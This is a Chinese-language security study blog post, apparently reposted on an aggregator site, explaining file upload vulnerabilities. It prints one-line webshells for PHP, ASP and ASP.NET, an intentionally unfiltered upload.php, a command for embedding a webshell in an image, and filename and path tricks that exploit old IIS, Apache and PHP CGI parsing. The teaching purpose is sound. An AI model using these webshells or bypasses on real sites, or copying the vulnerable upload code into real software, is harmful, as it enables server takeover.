IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 文件上传漏洞 -> 正文阅读

[PHP知识库]文件上传漏洞

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub之Me and My Girlfriend

介绍

文件上传漏洞指用户将恶意代码文件上传到服务器上,服务器错将用户上传的恶意代码当做服务器文件解析,导致得恶意代码执行。是用户获得网站的权限,进一步危害服务器

实例

看一个文件上传漏洞的实例
某网站存在文件上传点,允许用户上传文件
在这里插入图片描述
某黑客上传了自己的网站木马,内容如下

<?php @eval($_POST[manlu]); ?>


黑客在上传成功后,用浏览器访问了木马的地址
在这里插入图片描述
接下来,黑客用工具连接了木马,成功控制了网站

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    请上传文件:
    <input type="file" name="file" id="file"><br>
    <input type="submit" value="提交">
</form>
</body>
</html>

upload.php

<?php
    $path='./uploads';
    if (!is_dir($path)){
        mkdir($path);
    }
    if ($_FILES['file']['error']>0){
        echo "上传失败";
    }else{
        $name=$_FILES['file']['name'];
        move_uploaded_file($_FILES['file']['tmp_name'],"./uploads/".$name);
        echo "上传成功<br>保存位置:<a href='uploads/".$name."' target='_blank'>"."uploads/".$name."</a>";
    }
?>

上传漏洞

在上面的实例中,网站并没有很好地处理用户的上传,导致用户上传了恶意文件,控制了网站。其中,这个恶意代码叫做webshell,通过webshell,可以轻松地控制网站。

有一种webshell,只有一句话,短小精悍,但通过这一句话,配合工具就可以控制整个网站,叫做一句话木马

列举几种常见的一句话木马

PHP

<?php @eval($_POST[pass]); ?>

ASP

<%eval request(pass)%>

ASP.NET

<%@ Page Language="Jscript"%><%eval(Request.Item[pass],"unsafe");%>

WebShell工具

有很多WebShell的连接工具,在这里列举最常见的两种

中国菜刀
菜刀工具也是大名鼎鼎的WebShell管理工具了,支持文件管理,数据管理,虚拟终端等功能,是一个好用的WebShell管理工具

这是中国菜刀的界面
在这里插入图片描述
目前中国菜刀的网站访问不了,在下载菜刀工具时一定要小心,几乎所有非官方的中国菜刀都是有后门的

中国蚁剑
下载地址:https://github.com/AntSwordProject
中国蚁剑是一款开源的,功能强大的WebShell管理工具,支持文件管理,虚拟终端,数据管理等功能。同时内置多款插件,可以方便地对网站进行渗透。

安装方法:https://www.fujieace.com/hacker/tools/antsword.html

这是蚁剑的主页面
在这里插入图片描述
文件管理
在这里插入图片描述

制作图片马

很多网站都只允许上传图片文件,这时就要将WebShell伪装成一张图片上传,称为图片马。

制作方法
准备一张图片文件(1.png)和WebShell(2.php)

打开dos,cd到该目录,输入

copy 1.png/b + 2.php/a 3.jpg

在这里插入图片描述
此时在同目录下出现一个3.jpg

以文本形式打开3.jpg,发现WebShell已经插到了文件尾部
在这里插入图片描述

解析漏洞

上传漏洞通常配合解析漏洞一起使用,在某些地方,如白名单可以绕过检测上传shell

IIS解析漏洞

IIS6.0存在两个经典漏洞
①当建立存在asp,asa的文件夹,文件夹中所有文件都会按照asp文件解析

例如某文件夹名为1.asp,文件夹下有一个图片马。访问图片马,服务器会将图片马作为asp文件解析,从而使攻击者拿下WebShell。

②当文件为 *.asp;1.jpg 时,会将文件作为asp文件解析。例如某WebShell名为1.asp;1.jpg时,将会当做asp文件解析,从而拿下WebShell

Apache解析漏洞

Apache 1.x 和 Apache 2.x 中存在解析漏洞。

Apache在解析文件时,遇到不认识的拓展名,会从后到前解析,知道遇到认识的拓展名为止。

例如1.php.aaa.bbb.ccc,由于aaa,bbb,ccc是Apache不认识的拓展名,所以会跳过。作为PHP文件解析,从而使攻击者拿下WebShell

新版的Apache修复了这种漏洞
在这里插入图片描述
PHP CGI解析漏洞
在PHP的配置文件中存在一个选项 cgi.fix_pathinfo,默认开启
在这里插入图片描述
当打开了cgi,当URL是以php结尾,就会作为PHP解析。

例如我先前在某站点上传了图片马1.jpg,我在浏览器访问是无法解析的,但我在结尾加上一个 /.php,URL就成为http://www.xxx.com/uploads/img/2020xxxxxx.jpg/.php
此时文件会当做php解析,从而成功拿下WebShell

绕过

下一篇文章专门讲

防范

1.使用白名单
2.防止解析漏洞
3.重命名文件

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-04 21:11:31  更:2021-07-04 21:11:33 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/6 6:24:37-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码